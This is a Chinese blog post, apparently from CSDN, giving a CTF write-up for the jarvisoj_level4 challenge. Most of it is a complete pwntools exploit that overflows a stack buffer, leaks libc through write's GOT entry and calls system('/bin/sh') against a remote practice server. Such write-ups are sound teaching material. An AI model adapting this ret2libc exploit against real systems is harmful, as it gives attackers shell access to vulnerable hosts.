jarvisoj_level4-优快云博客

这篇博客讲述了作者通过checksec检测发现jarvisoj_level4中的栈溢出漏洞，利用ROP技术构造payload，结合ELF文件和gdb定位，最终实现从本地库 libc 寻找system和/bin/sh，完成经典的ret2libc攻击流程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

jarvisoj_level4

使用checksec查看：
在这里插入图片描述
NX，估计还是一道栈题目，拉进IDA中查看：

主函数中给出了漏洞函数，跟进查看：

read()读取了0x100，buf变量距离ebp0x88，存在栈溢出。

程序没有system和/bin/sh，需要自己泄露libc去找，一道标准的ret2libc题目。

exp：

from os import sendfile
from pwn import *

#start
r = remote("node4.buuoj.cn",27632)
# r = process("../buu/jarvisoj_level4")
elf = ELF("../buu/jarvisoj_level4")
libc = ELF("../buu/ubuntu16(32).so")

#params
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

#attack
payload = b'M'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) +p32(write_got) +p32(4)
r.sendline(payload)
write_addr = u32(r.recv(4))

#libc
base_addr = write_addr - libc.symbols['write']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))

#attack2
payload = b'M'*(0x88+4) + p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
r.sendline(payload)

r.interactive()